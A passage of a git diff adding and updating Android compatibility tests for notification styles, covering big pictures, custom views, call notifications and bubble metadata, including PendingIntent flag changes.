+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testBigPictureStyle_populatesExtrasCompatibly() {
+        val bitmap = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val uri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val iconWithUri = Icon.createWithContentUri(uri)
+        val iconWithBitmap = Icon.createWithBitmap(bitmap)
+        val style = Notification.BigPictureStyle()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(style)
+
+        style.bigPicture(bitmap)
+        builder.build().let {
+            assertThat(it.extras.getParcelable<Bitmap>(Notification.EXTRA_PICTURE))
+                    .isSameInstanceAs(bitmap)
+            assertThat(it.extras.get(Notification.EXTRA_PICTURE_ICON)).isNull()
+        }
+
+        style.bigPicture(iconWithUri)
+        builder.build().let {
+            assertThat(it.extras.get(Notification.EXTRA_PICTURE)).isNull()
+            assertThat(it.extras.getParcelable<Icon>(Notification.EXTRA_PICTURE_ICON))
+                    .isSameInstanceAs(iconWithUri)
+        }
+
+        style.bigPicture(iconWithBitmap)
+        builder.build().let {
+            assertThat(it.extras.getParcelable<Bitmap>(Notification.EXTRA_PICTURE))
+                    .isSameInstanceAs(bitmap)
+            assertThat(it.extras.get(Notification.EXTRA_PICTURE_ICON)).isNull()
+        }
+    }
+
+    fun testBigPictureStyle_bigPictureUriIcon() {
+        val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val pictureIcon = Icon.createWithContentUri(pictureUri)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle().bigPicture(pictureIcon))
+        checkViews(builder.createBigContentView()) {
+            val pictureView = requireViewByIdName<ImageView>("big_picture")
+            assertThat(pictureView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(pictureView.drawable.intrinsicWidth).isEqualTo(400)
+            assertThat(pictureView.drawable.intrinsicHeight).isEqualTo(300)
+        }
+    }
+
+    fun testPromoteBigPicture_withBigPictureUriIcon() {
+        val pictureUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val pictureIcon = Icon.createWithContentUri(pictureUri)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(pictureIcon)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300)
+        }
+    }
+
+    fun testPromoteBigPicture_withoutLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.GONE)
+        }
+    }
+
+    fun testPromoteBigPicture_withLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(80, 65, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 80 / 65).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(65)
+        }
+    }
+
+    fun testPromoteBigPicture_withBigLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val bigIcon = Bitmap.createBitmap(80, 75, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .bigLargeIcon(bigIcon)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 80 / 75).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(75)
+        }
+        assertThat(builder.build().extras.getParcelable<Bitmap>(Notification.EXTRA_PICTURE))
+                .isSameInstanceAs(picture)
+    }
+
+    fun testBigPicture_withBigLargeIcon_withContentUri() {
+        val iconUri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val icon = Icon.createWithContentUri(iconUri)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle().bigLargeIcon(icon))
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(400)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(300)
+        }
+    }
+
+    @SmallTest
+    fun testBaseTemplate_hasExpandedStateWithoutActions() {
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .createBigContentView()
+        assertThat(views).isNotNull()
+    }
+
+    fun testDecoratedCustomViewStyle_collapsedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testDecoratedCustomViewStyle_expandedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createBigContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>("app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_collapsedState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .createContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_expandedState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .createBigContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>("app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_headsUpState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomHeadsUpContentView(customContent)
+                .createHeadsUpContentView()
+        checkViews(views) {
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>("text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>("icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    @SmallTest
+    fun testCallStyle_forIncomingCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forIncomingCall(platformNull(), pendingIntent, pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forIncomingCall(namelessPerson, pendingIntent, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "declineIntent is required") {
+            Notification.CallStyle.forIncomingCall(namedPerson, platformNull(), pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "answerIntent is required") {
+            Notification.CallStyle.forIncomingCall(namedPerson, pendingIntent, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(namedPerson, pendingIntent, pendingIntent))
+                .build()
+    }
+
+    fun testCallStyle_forIncomingCall_hasCorrectActions() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(namedPerson, pendingIntent, pendingIntent))
+        assertThat(builder.build()).isNotNull()
+        val answerText = mContext.getString(getAndroidRString("call_notification_answer_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val hangUpText = mContext.getString(getAndroidRString("call_notification_hang_up_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            assertThat(requireViewWithText(answerText).visibility).isEqualTo(View.VISIBLE)
+            assertThat(requireViewWithText(declineText).visibility).isEqualTo(View.VISIBLE)
+            assertThat(findViewWithText(hangUpText)).isNull()
+        }
+    }
+
+    fun testCallStyle_forIncomingCall_isVideo_hasCorrectActions() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(namedPerson, pendingIntent, pendingIntent)
+                        .setIsVideo(true))
+        val notification = builder.build()
+        assertThat(notification).isNotNull()
+        assertThat(notification.extras.getBoolean(Notification.EXTRA_CALL_IS_VIDEO)).isTrue()
+        val answerText = mContext.getString(
+                getAndroidRString("call_notification_answer_video_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val hangUpText = mContext.getString(getAndroidRString("call_notification_hang_up_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            assertThat(requireViewWithText(answerText).visibility).isEqualTo(View.VISIBLE)
+            assertThat(requireViewWithText(declineText).visibility).isEqualTo(View.VISIBLE)
+            assertThat(findViewWithText(hangUpText)).isNull()
+        }
+    }
+
+    @SmallTest
+    fun testCallStyle_forOngoingCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forOngoingCall(platformNull(), pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forOngoingCall(namelessPerson, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "hangUpIntent is required") {
+            Notification.CallStyle.forOngoingCall(namedPerson, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle.forOngoingCall(namedPerson, pendingIntent))
+                .build()
+    }
+
+    fun testCallStyle_forOngoingCall_hasCorrectActions() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle.forOngoingCall(namedPerson, pendingIntent))
+        assertThat(builder.build()).isNotNull()
+        val answerText = mContext.getString(getAndroidRString("call_notification_answer_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val hangUpText = mContext.getString(getAndroidRString("call_notification_hang_up_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            assertThat(findViewWithText(answerText)).isNull()
+            assertThat(findViewWithText(declineText)).isNull()
+            assertThat(requireViewWithText(hangUpText).visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    @SmallTest
+    fun testCallStyle_forScreeningCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forScreeningCall(platformNull(), pendingIntent, pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forScreeningCall(namelessPerson, pendingIntent, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "hangUpIntent is required") {
+            Notification.CallStyle.forScreeningCall(namedPerson, platformNull(), pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "answerIntent is required") {
+            Notification.CallStyle.forScreeningCall(namedPerson, pendingIntent, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle
+                        .forScreeningCall(namedPerson, pendingIntent, pendingIntent))
+                .build()
+    }
+
+    fun testCallStyle_forScreeningCall_hasCorrectActions() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle
+                        .forScreeningCall(namedPerson, pendingIntent, pendingIntent))
+        assertThat(builder.build()).isNotNull()
+        val answerText = mContext.getString(getAndroidRString("call_notification_answer_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val hangUpText = mContext.getString(getAndroidRString("call_notification_hang_up_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            assertThat(requireViewWithText(answerText).visibility).isEqualTo(View.VISIBLE)
+            assertThat(findViewWithText(declineText)).isNull()
+            assertThat(requireViewWithText(hangUpText).visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCallStyle_hidesVerification_whenNotProvided() {
+        val person = Person.Builder().setName("Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(person, pendingIntent, pendingIntent))
+
+        val notification = builder.build()
+        val extras = notification.extras
+        assertThat(extras.containsKey(Notification.EXTRA_VERIFICATION_TEXT)).isFalse()
+        assertThat(extras.containsKey(Notification.EXTRA_VERIFICATION_ICON)).isFalse()
+
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            val textView = requireViewByIdName<TextView>("verification_text")
+            assertThat(textView.visibility).isEqualTo(View.GONE)
+
+            val iconView = requireViewByIdName<ImageView>("verification_icon")
+            assertThat(iconView.visibility).isEqualTo(View.GONE)
+        }
+    }
+
+    fun testCallStyle_showsVerification_whenProvided() {
+        val person = Person.Builder().setName("Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(person, pendingIntent, pendingIntent)
+                        .setVerificationIcon(Icon.createWithResource(mContext, R.drawable.ic_info))
+                        .setVerificationText("Verified!"))
+
+        val notification = builder.build()
+        val extras = notification.extras
+        assertThat(extras.getCharSequence(Notification.EXTRA_VERIFICATION_TEXT))
+                .isEqualTo("Verified!")
+        assertThat(extras.getParcelable<Icon>(Notification.EXTRA_VERIFICATION_ICON)?.resId)
+                .isEqualTo(R.drawable.ic_info)
+
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            val textView = requireViewByIdName<TextView>("verification_text")
+            assertThat(textView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(textView.text).isEqualTo("Verified!")
+
+            val iconView = requireViewByIdName<ImageView>("verification_icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCallStyle_ignoresCustomColors_whenNotColorized() {
+        Assume.assumeTrue("Test will not run when config disabled",
+                mContext.resources.getBoolean(getAndroidRBool(
+                        "config_callNotificationActionColorsRequireColorized")))
+        val person = Person.Builder().setName("Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setColor(Color.WHITE)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(person, pendingIntent, pendingIntent)
+                        .setAnswerButtonColorHint(Color.BLUE)
+                        .setDeclineButtonColorHint(Color.MAGENTA))
+
+        val notification = builder.build()
+        assertThat(notification.extras.getInt(Notification.EXTRA_ANSWER_COLOR, -1))
+                .isEqualTo(Color.BLUE)
+        assertThat(notification.extras.getInt(Notification.EXTRA_DECLINE_COLOR, -1))
+                .isEqualTo(Color.MAGENTA)
+
+        val answerText = mContext.getString(getAndroidRString("call_notification_answer_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            assertThat(requireViewWithText(answerText).bgContainsColor(Color.BLUE)).isFalse()
+            assertThat(requireViewWithText(declineText).bgContainsColor(Color.MAGENTA)).isFalse()
+        }
+    }
+
+    fun testCallStyle_usesCustomColors_whenColorized() {
+        val person = Person.Builder().setName("Person").build()
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setColorized(true)
+                .setColor(Color.WHITE)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(person, pendingIntent, pendingIntent)
+                        .setAnswerButtonColorHint(Color.BLUE)
+                        .setDeclineButtonColorHint(Color.MAGENTA))
+
+        val notification = builder.build()
+        assertThat(notification.extras.getInt(Notification.EXTRA_ANSWER_COLOR, -1))
+                .isEqualTo(Color.BLUE)
+        assertThat(notification.extras.getInt(Notification.EXTRA_DECLINE_COLOR, -1))
+                .isEqualTo(Color.MAGENTA)
+
+        // Setting this flag ensures that createBigContentView allows colorization.
+        notification.flags = notification.flags or Notification.FLAG_FOREGROUND_SERVICE
+        val answerText = mContext.getString(getAndroidRString("call_notification_answer_action"))
+        val declineText = mContext.getString(getAndroidRString("call_notification_decline_action"))
+        val views = builder.createBigContentView()
+        checkViews(views) {
+            // TODO(b/184896890): diagnose/fix flaky bgContainsColor method
+            assertThat(requireViewWithText(answerText).bgContainsColor(Color.BLUE)) // .isTrue()
+            assertThat(requireViewWithText(declineText).bgContainsColor(Color.MAGENTA)) // .isTrue()
+        }
+    }
+
+    private fun View.bgContainsColor(@ColorInt color: Int): Boolean {
+        val background = background ?: return false
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888)
+        val canvas = Canvas(bitmap)
+        background.draw(canvas)
+        val maskedColor = color and 0x00ffffff
+        for (x in 0 until bitmap.width) {
+            for (y in 0 until bitmap.height) {
+                if (bitmap.getPixel(x, y) and 0x00ffffff == maskedColor) {
+                    return true
+                }
+            }
+        }
+        return false
+    }
+
+    private val pendingIntent by lazy {
+        PendingIntent.getBroadcast(mContext, 0, Intent("test"), PendingIntent.FLAG_IMMUTABLE)
+    }
+
+    companion object {
+        val TAG = NotificationTemplateTest::class.java.simpleName
+        const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index b9f8784..db95a89 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -33,6 +33,7 @@
 import android.content.Intent;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Build;
@@ -127,6 +128,10 @@
         assertNotNull(Notification.CATEGORY_STATUS);
         assertNotNull(Notification.CATEGORY_SYSTEM);
         assertNotNull(Notification.CATEGORY_TRANSPORT);
+        assertNotNull(Notification.CATEGORY_WORKOUT);
+        assertNotNull(Notification.CATEGORY_LOCATION_SHARING);
+        assertNotNull(Notification.CATEGORY_STOPWATCH);
+        assertNotNull(Notification.CATEGORY_MISSED_CALL);
     }
 
     public void testWriteToParcel() {
@@ -143,11 +148,11 @@
         mNotification.icon = 0;
         mNotification.number = 1;
         final Intent intent = new Intent();
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.contentIntent = pendingIntent;
         final Intent deleteIntent = new Intent();
         final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
-                mContext, 0, deleteIntent, 0);
+                mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.deleteIntent = delPendingIntent;
         mNotification.tickerText = TICKER_TEXT;
 
@@ -239,7 +244,7 @@
         mNotification = new Notification.Builder(mContext, "channel_id")
                 .setSmallIcon(1)
                 .setContentTitle(CONTENT_TITLE)
-                .setColorized(true)
+                .setColorized(true).setColor(Color.WHITE)
                 .build();
 
         assertTrue(mNotification.extras.getBoolean(Notification.EXTRA_COLORIZED));
@@ -247,7 +252,7 @@
 
     public void testBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata bubble = makeBubbleMetadata();
         mNotification = new Notification.Builder(mContext, CHANNEL.getId())
                 .setSmallIcon(1)
@@ -288,12 +293,15 @@
 
     public void testActionBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAction = null;
-        mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent).build();
+        mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
+                .setAuthenticationRequired(true)
+                .build();
         assertEquals(ACTION_TITLE, mAction.title);
         assertEquals(actionIntent, mAction.actionIntent);
         assertEquals(true, mAction.getAllowGeneratedReplies());
+        assertTrue(mAction.isAuthenticationRequired());
     }
 
     public void testNotification_addPerson() {
@@ -544,7 +552,7 @@
     }
 
     public void testAction_builder_contextualAction_nullIcon() {
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action.Builder builder =
                 new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
                 .setContextual(true);
@@ -621,12 +629,15 @@
     }
 
     public void testBubbleMetadataBuilder() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
                 .setDesiredHeight(BUBBLE_HEIGHT)
+                .setSuppressableBubble(false)
                 .setDeleteIntent(deleteIntent);
 
         Notification.BubbleMetadata data = metadataBuilder.build();
@@ -635,18 +646,22 @@
         assertEquals(bubbleIntent, data.getIntent());
         assertEquals(deleteIntent, data.getDeleteIntent());
         assertFalse(data.isNotificationSuppressed());
+        assertFalse(data.isBubbleSuppressable());
         assertFalse(data.getAutoExpandBubble());
     }
 
     public void testBubbleMetadata_parcel() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
                         .setDesiredHeight(BUBBLE_HEIGHT)
                         .setAutoExpandBubble(true)
                         .setSuppressNotification(true)
+                        .setSuppressableBubble(true)
                         .setDeleteIntent(deleteIntent)
                         .build();
 
@@ -657,30 +672,35 @@
         assertEquals(deleteIntent, metadata.getDeleteIntent());
         assertTrue(metadata.getAutoExpandBubble());
         assertTrue(metadata.isNotificationSuppressed());
+        assertTrue(metadata.isBubbleSuppressable());
     }
 
     public void testBubbleMetadataBuilder_shortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
                         .setDesiredHeight(BUBBLE_HEIGHT)
+                        .setSuppressableBubble(true)
                         .setDeleteIntent(deleteIntent);
 
         Notification.BubbleMetadata data = metadataBuilder.build();
         assertEquals(BUBBLE_HEIGHT, data.getDesiredHeight());
         assertEquals(BUBBLE_SHORTCUT_ID, data.getShortcutId());
         assertEquals(deleteIntent, data.getDeleteIntent());
+        assertTrue(data.isBubbleSuppressable());
